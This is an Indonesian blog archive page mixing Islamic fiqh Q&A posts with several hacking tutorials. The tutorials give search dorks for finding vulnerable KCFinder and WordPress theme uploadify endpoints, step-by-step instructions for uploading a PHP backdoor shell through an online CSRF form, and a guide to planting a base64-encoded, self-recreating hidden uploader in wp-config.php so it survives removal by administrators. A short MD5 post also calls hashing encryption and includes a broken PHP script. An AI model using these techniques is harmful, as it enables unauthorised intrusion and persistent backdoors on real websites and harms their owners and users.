Postingan

Menampilkan postingan dari Mei, 2018

upload file in kcfinder with CSRF

Gambar
yah kali ini saya akan berbagi tentang kerentanan kcfinder yang bisa kita gunakan sebagai upload file mauupun backdoor di dalam site target , langsung saja yah :v Dork inurl:/kcfinder/upload/files inurl:/kcfinder/browse.php inurl:/asset/kcfinder inurl:/sites/all/modules/civicrm/packages/kcfinder inurl:/templates/_editor/kcfinder/ inurl:/includes/kcfinder/browse.php inurl:/lib/kcfinder/files/upload inurl:/admin/kcfinder/files/upload inurl:/panel/kcfinder/upload/files inurl:/editor/kcfinder/upload inurl:/panel/kcfinder/ ext:png exploit tambahkan upload.php setelah dir /kcfinder/ jadi :     [path] /kcfinder/upload.php jika vuln maka akan muncul pop-up error biasanya langsung saja buka csrf online kita CSRF ONLINE DISINI masukan URL post file           : Filedata klik kunci pilih file / backdoor yang mau di upload * untuk backdoor biasanya ber ekstensi .php5 kalau tidak bisa coba ekstensi lain aja setelah kita pilih file langsung kita tekan upload cara akses shell : [path] /kcfinder/uploa

MAKSUD KIASAN KALIMAT “MADU” UNTUK JIMA’

Gambar
P ERTANYAAN : Assalamu ‘alaikum. Apa yang dimaksud “rasakan dulu madunya” dalam fiqih bab nikah ? JAWABAN : Wa’alaikum salam.  Nabi  bersabda : kau jangan kembali lagi ke Rifa'ah (dalam satu riwayat) Sehingga engkau menyicipi madu kecilnya Abdurrahman, dan dia (Abdurrahman) juga menyicipi madu kecilmu.  Ucapan mushannif, kata-kata madu itu sebagai kinayah terhadap MANISNYA JIMAK. Wallahu a’lam.  - Maraqoh al Mafatih : (ﻋﻦ  ﻋﺎﺋﺸﺔ - ﺭﺿﻲ اﻟﻠﻪ ﻋﻨﻬﺎ - ﻗﺎﻟﺖ: ﺟﺎءﺕ اﻣﺮﺃﺓ ﺭﻓﺎﻋﺔ) : ﺑﻜﺴﺮ اﻟﺮاء (اﻟﻘﺮﻇﻲ) :  ﺑﻀﻢ اﻟﻘﺎﻑ ﻭﻓﺘﺢ اﻟﺮاء ﺑﻌﺪﻩ ﻇﺎء ﻣﻌﺠﻤﺔ ﻧﺴﺒﺔ ﺇﻟﻰ ﻗﺮﻳﻈﺔ ﻗﺒﻴﻠﺔ ﻣﻦ اﻟﻴﻬﻮﺩ (  «ﺇﻟﻰ ﺭﺳﻮﻝ اﻟﻠﻪ - ﺻﻠﻰ اﻟﻠﻪ ﻋﻠﻴﻪ ﻭﺳﻠﻢ - ﻓﻘﺎﻟﺖ: ﺇﻧﻲ ﻛﻨﺖ ﻋﻨﺪ ﺭﻓﺎﻋﺔ» ) : ﺃﻱ:  ﺗﺤﺘﻪ (ﻓﻄﻠﻘﻨﻲ ﻓﺒﺖ ﻃﻼﻗﻲ) : ﺃﻱ: ﻗﻄﻌﻪ ﻓﻠﻢ ﻳﺒﻖ ﻣﻦ اﻟﺜﻼﺙ ﺷﻴﺌﺎ، ﻭﻗﻴﻞ ﻃﻠﻘﻨﻲ ﺛﻼﺛﺎ  ﻭﻫﻮ ﻳﺤﺘﻤﻞ اﻟﺠﻤﻊ ﻭاﻟﺘﻔﺮﻳﻖ (ﺗﺰﻭﺟﺖ ﺑﻌﺪﻩ ﻋﺒﺪ اﻟﺮﺣﻤﻦ ﺑﻦ اﻟﺰﺑﻴﺮ) : اﻟﺮﻭاﻳﺔ  ﺑﻔﺘﺢ اﻟﺒﺎء ﻭﻗﺎﻝ اﺑﻦ اﻟﻬﻤﺎﻡ - ﺭﺣﻤﻪ اﻟﻠﻪ -: ﺑﻔﺘﺢ اﻟﺰاﻱ ﻻ ﻏﻴﺮ ﻭﻟﻢ ﻳﺬﻛﺮﻩ  اﻟﻤﺆﻟﻒ ﻓﻲ ﺃﺳﻤﺎﺋﻪ (ﻭﻣﺎ ﻣﻌﻪ) : ﺃﻱ: ﻟﻴﺲ ﻣﻊ ﻋﺒﺪ اﻟﺮﺣﻤﻦ ﻣﻦ ﺁﻟﺔ اﻟﺬﻛﻮﺭﺓ (ﺇﻻ  ﻣﺜﻞ ﻫﺪﺑﺔ اﻟﺜﻮﺏ) : ﺑﻀﻢ اﻟﻬﺎء ﻭﺳﻜﻮﻥ اﻟﺪاﻝ ﺑﻌﺪﻫﺎ ﻣﻮﺣﺪﺓ ﺃﻱ ﻃﺮﻓﻪ ﻭﻫﻮ ﻃﺮﻑ

TERNYATA ADA SHOLAT SUNNAH MALAM PENGANTIN

Gambar
PERTANYAAN  Apakah ada sholat sunnah sesudah akad nikah dan sholat sebelum berhubungan suami isteri ? Kalau ada, niatnya seperti apa ? JAWABAN : Wa'alaikumussalam warohamtulloh. Ketika hendak melakukan aqad nikah bagi pengantin putra dan waliy pengantin putri sunah melakukan shalat sunah dua raka'at di tempat aqadnya, juga bagi mempelai putra dan putri disunahkan shalat sunah dua raka'at ketika hendak jima'. نهاية الزين : ص : ٩٥ .ومنه أشياء أخر كصلاة الغفلة___و ركعتا الزفاف أى للزوج والزوجة وكذا ركعتان للعقد في مجلسه قبل تعاطيه لكن للزوج والولي فقط دون الزوجة ع ش . الشرقاوي ١/٣٠٩ومنه ركعتا الزفاف تسن هذه الصلاة لكل من الزوج والزوجة ينوي بها سنة الزفاف . ﺍﻟﻤﺼﻨﻒ - ﺍﺑﻦ ﺃﺑﻲ ﺷﻴﺒﺔ ﺍﻟﻜﻮﻓﻲ - ﺝ ٣ - ﺍﻟﺼﻔﺤﺔ٤٠١ : ﺣﺪﺛﻨﺎ ﺍﺑﻦ ﺇﺩﺭﻳﺲ ﻋﻦ ﺩﺍﻭﺩ ﻋﻦ ﺃﺑﻲ ﻧﻀﺮﺓ ﻋﻦ ﺃﺑﻲﺳﻌﻴﺪ ﻣﻮﻟﻰ ﺃﺑﻲ ﺃﺳﻴﺪ ﻗﺎﻝ: ﺗﺰﻭﺟﺖ ﻭﺃﻧﺎ ﻣﻤﻠﻮﻙﻓﺪﻋﻮﺕ ﻧﻔﺮﺍ ﻣﻦ ﺃﺻﺤﺎﺏ ﺍﻟﻨﺒﻲ ﺻﻠﻰ ﺍﻟﻠﻪ ﻋﻠﻴﻪ ﻭﺳﻠﻢﻓﻴﻬﻢ ﺍﺑﻦ ﻣﺴﻌﻮﺩ ﻭﺃﺑﻮ ﺫﺭ ﻭﺣﺬﻳﻔﺔ ﻗﺎﻝ: ﻭﺃﻗﻴﻤﺖﺍﻟﺼﻼﺓ ﻗﺎﻝ: ﻓﺬﻫﺐ ﺃﺑﻮ ﺫﺭ ﻟﻴﺘﻘﺪﻡ ﻓﻘﺎﻟﻮﺍ: ﺇﻟﻴﻚ، ﻗﺎﻝ:ﺃﻭ ﻛﺬﻟﻚ؟ ﻗﺎﻟﻮﺍ: ﻧﻌﻢ! ﻗﺎﻝ: ﻓﺘﻘﺪﻣﺖ ﺇﻟﻴﻬﻢ ﻭﺃﻧﺎ ﻋﺒﺪﻣﻤﻠﻮﻙ ﻭﻋﻠﻤﻮ

vulnerability uploadify in wordpress themes zicepanel

Gambar
vulnerability uploadify in wordpress themes zicepanel   selalu saja wordpress yang memiliki banyak celah , banyak sekali eksploit untuk wordpress yang celah nya berasal dari themes ,      seperti themes zicepanel ini memiliki celah pada uploadify juga dork : inurl:/wp-content/themes/zicepanel/ eksploit : site.com /themes/zicepanel/components/uploadify/uploadify.php jika blank kemungkinan vuln untuk kita upload file menggunakan CSRF CSRF ONLINE HERE Isi url    : site.com /themes/zicepanel/components/uploadify/uploadify.php post       : Filedata klik kunci target pilih file yang mau kita upload dan klik upload , tunggu    jika muncul tulisan seperti gambar di atas maka file kita berhasil ke upload cara aksesnya site.com/( nama yang muncul ) nah file kita terupload kan :3 semoga bermanfaat gan :3

Inilah Walisongo, Orang-Orang Arab Penyebar Agama Islam Di Indonesia

Gambar
Inilah Walisongo, Orang-Orang Arab Penyebar Agama Islam Di Indonesia Faktakini.com, Jakarta - Agama Islam berasal dari langit dan pertama kali turun di Arab, Rasulullah SAW adalah orang Arab, beliau lahir tinggal dan besar sampai wafatnya di Arab, orang tua kakek dan datuk-datuk beliau pun adalah orang Arab. Para Sahabat terdekat Rasulullah SAW adalah orang-orang Arab, anak cucu beliau baik dari Sayidina Hasan maupun Hussein adalah orang Arab, yang menyebarkan agama Islam pun adalah orang-orang Arab termasuk anak cucu Rasulullah SAW, dan seterusnya. Semua orang di dunia sudah mengetahui fakta-fakta diatas. Namun ada segelintir kalangan yang berusaha menjauhkan hubungan antara Arab dengan umat Islam di berbagai negara, termasuk di Indonesia. Salah satu ciri konsep ‘Islam Nusantara’ yang ditawarkan adalah berbeda dengan ‘Islam Arab’. Menurut para pengusungnya, Islam Indonesia lebih moderat, hal ini berbeda dengan Islam Arab. Menilai hal tersebut, Sejarawan Islam Ustadz Tiar Anwar Bachtia

vulnerability uploadify in wordpress themes kiddo

Gambar
vulnerability uploadify in wordpress themes kiddo   yeah wordpress , selalu saja wordpress yang memiliki banyak celah , apalagi celah pada themes . banyak sekali eksploit untuk wordpress yang celah nya berasal dari themes , seperti yang akan kita bahas salah satu contoh WordPress Themes Kiddo      themes kiddo ini memiliki celah pada uploadify , kita coba saja langsung yak dork : inurl:/wp-content/themes/kiddo eksploit : /wp-content/themes/kiddo/app/assets/js/uploadify/uploadify.php jika blank kemungkinan vuln untuk kita upload file menggunakan CSRF CSRF ONLINE HERE Isi url    : site.com/wp-content/themes/kiddo/app/assets/js/uploadify/uploadify.php post       : Filedata klik kunci target pilih file yang mau kita upload dan klik upload , tunggu   -  jika muncul tulisan seperti gambar di atas yaitu /namafile atau tulisan angka 1 , maka file kita berhasil ke upload cara aksesnya site.com/namafile nah file kita terupload kan :3 semoga bermanfaat hehehe

auto create hidden uploader with config

Gambar
yeah kali ini saya akan membagi sedikit cara membuat auto create hidden uploader lewat config kita menggunakan perantara config karena setiap kita buka web maka config pasti berjalan , nah jika kita tempelkan script auto create hidden uploader di file config maka hidden uploader kita selalu create terus menerus , walaupun nanti di hapus oleh seorang admin atau attacker lain , nanti hidden uploader kita bakal ke create lagi langsung saja , kali ini saya memberi tutorial untuk Wordpress , kalo untuk web lain kapan kapan ya soalnya blom ada live target wkwkwk  :v 1. kita buka file wp-config.php  bisa kita lihat di file wp-config.php bahwa di bagian pertama file ada syntax <?php  namun di bagian bawah tidak ada penutup syntax ?>   maka kita tutup terlebih dahulu , seperti pada gambar di bawah ini nah setelah kita tutup dengan syntax ?> ,  kita langsung enter di bagian bawah dan paste kan script di bawah ini <?php $config = base64_decode('PD9waHANCmVjaG8gIjxodG1sPg0KPGhlYW

free hosting 3 bulan jagoan hosting

Gambar
 free hosting 3 bulan jagoan hosting   hai guys , kemaren kita sudah membahas tentang free hosting di rumhaweb , sekarang kita membahas trik free hosting di Jagoan Hosting selama 3 bulan langsung saja masuk https://www.jagoanhosting.com/ lalu scrol ke bawah pilih hosting 15.000 / bulan centang "i will use existing domain" , masukan domain kalian yang mau di daftarkan hosting , tekan use setelah itu pilih billing yang 45.000 / 3bulan lihat bagian kanan jadi harga hosting nya 49.000 , langsung klik continue saja langsung masukan CODE COUPON mendapatkan potongan harga Rp.50.000 dengan memasukkan kode "SOBATHACKER" lalu kita login / daftar terserah nah berhasil ada tulisan "promotion code accept" dan kita lihat harga hosting nya menjadi Rp.0 sekarang kita tinggal login / daftar user jagoanhosting isi semua data nya yang lengkap , untuk pembayaran di centang terserah karena kita tadi beli sudah free / gratis ^_^ klik centang "saya telah membaca dan setuju&

membuat Md5 Encrypter sederhana dengan PHP CLI

Gambar
Contoh membuat Md5 Encrypter sederhana menggunakan bahasa pemrogaman PHP CLI langsung saja ya gaes copy code di bawah ini , pastekan ke notepad , simpan dengan ekstensi .php <?php  echo "MD5 DECRYPTER BY CYBERSCRY \n";  echo " masukan kata : ";  $pilih = trim(fgets(STDIN));  echo md5 ('$pilih');  echo "\n";  ?>  buka terminal : lalu jalan kan script tersebut di terminal $ php namfile.php $ ( masukan kata yang mau di Encrypt ) done semoga bermanfaat :)

MD5

Gambar
Apa Itu MD5 ? MD5 merupakan singkatan dari  Message Digest 5 . MD5 ini ditemukan oleh Ronald Rivest pada tahun 1991. Gagasan yang ada didalam algoritma  MD5  ini sendiri adalah mengambil data acak baik tulisan atau biner sebagai input dan menghasilkan ukuran nilan hasi tetap sebagai outputnya. Data Masukan / Data Input bisa saja berupa ukuran atau panjang tapi data outputnya dipastikan berupa ukuran yang ditetapkan, berapapun ukuran yang dimasukan akan menghasilkan ukuran tetap algoritma MD5 32 digit hex .  Contoh:   huruf =   a   MD5 nya =  0cc175b9c0f1b6a831c399e269772661 Dari penjelasan diatas, kalian pasti sudah menemukan poinnya yaitu MD5 menenkripsi tulisan menjadi digit hex. Dengan menggunakan fitur ini bisa meningkatkan keamanan file / akun / tulisan dari hacker karena apa yang mereka baca adalah kumpulan digit hex bukan string asli tulisan tersebut. md5 sifatnya hanya satu arah , yaitu dari teks masukan menjadi nilai hash yang panjangnya selalu sama ( 32 digit ). Setelah men

KRITERIA ULAMA DUNIA DAN ULAMA AKHIRAT

Gambar
INILAH KRITERIA ULAMA DUNIA DAN ULAMA AKHIRAT PERTANYAAN : Assalaamu'alaikum.wr.wb ! Mohon dijelaskan dan bagaimana kriteria 'ulama dunia dan 'ulama akhirat itu ? Lengkap dengan 'ibarah nya!, syukron.. JAWABAN : Wa'alaikumsalam فمن المهمات العظيمة معرفة العلامات الفارقة بين علماء الدنيا وعلماء الآخرة ونعني بعلماء الدنيا علماء السوء الذين قصدهم من العلم التنعم بالدنيا والتوصل إلى الجاه والمنزلة عند أهلها قال صلى الله عليه وسلم " إن أشد الناس عذاباً يوم القيامة عالم لم ينفعه الله بعلمه " وعنه صلى الله عليه وسلم أنه قال " لا يكون المرء عالماً حتى يكون بعلمه عاملاً " وقال صلى الله عليه وسلم " العلم علمان: علم على اللسان فذلك حجة الله تعالى على خلقه وعلم في القلب فذلك العلم النافع " وقال صلى الله عليه وسلم " يكون في آخر الزمان عباد جهال وعلماء فساق " وقال صلى الله عليه وسلم " لا تتعلموا العلم لتباهوا به العلماء ولتماروا به السفهاء ولتصرفوا به وجوه الناس إليكم فمن فعل ذلك فهو في النار " وقال صلى الله عليه وسلم " من كت

HUKUM WANITA MEMAKAI CADAR

Gambar
HUKUM WANITA MEMAKAI CADAR PERTANYAAN : Apa hukum memakai cadar dan jilbab ? JAWABAN : Aurat wanita di luar shalat kepada laki-laki lain (ajnabi / ghoiru mahram) adalah seluruh badan kecuali wajah dan kedua telapak tangan ketika tidak kuwatir fitnah, tapi jika kuatir akan fitnah maka haram melihat keduanya. Secara mendasar seorang wanita tidak diwajibkan menutui wajahnya melainkan bahwa hal itu menutupi wajah hukumya sunnah bagi wanita dan merupakan maslahah umum agar tidak timbul fitnah sdangkan bagi laki-laki tidak di perbolehkan mlhat perempuan secara mutlaq.karena inilah kaum wanita wajib menutupi wajahya demi menutup jalan dari perbuatan dosa kaum laki-laki dan agar terhindar dari unsur menolng dalam kemaksiatan sebab mlhatya laki-laki lain kepada perempuan secara mutlaq. [ i'anatut tholibin 3/229, hasyiyah bujairimi 3/272 ]. Menurut pendapat yang mu’tamad (terkuat dan terpercaya) aurat wanita dalam penglihatan lelaki lain keseluruhan tubuhnya hingga wajah dan telapak tanganny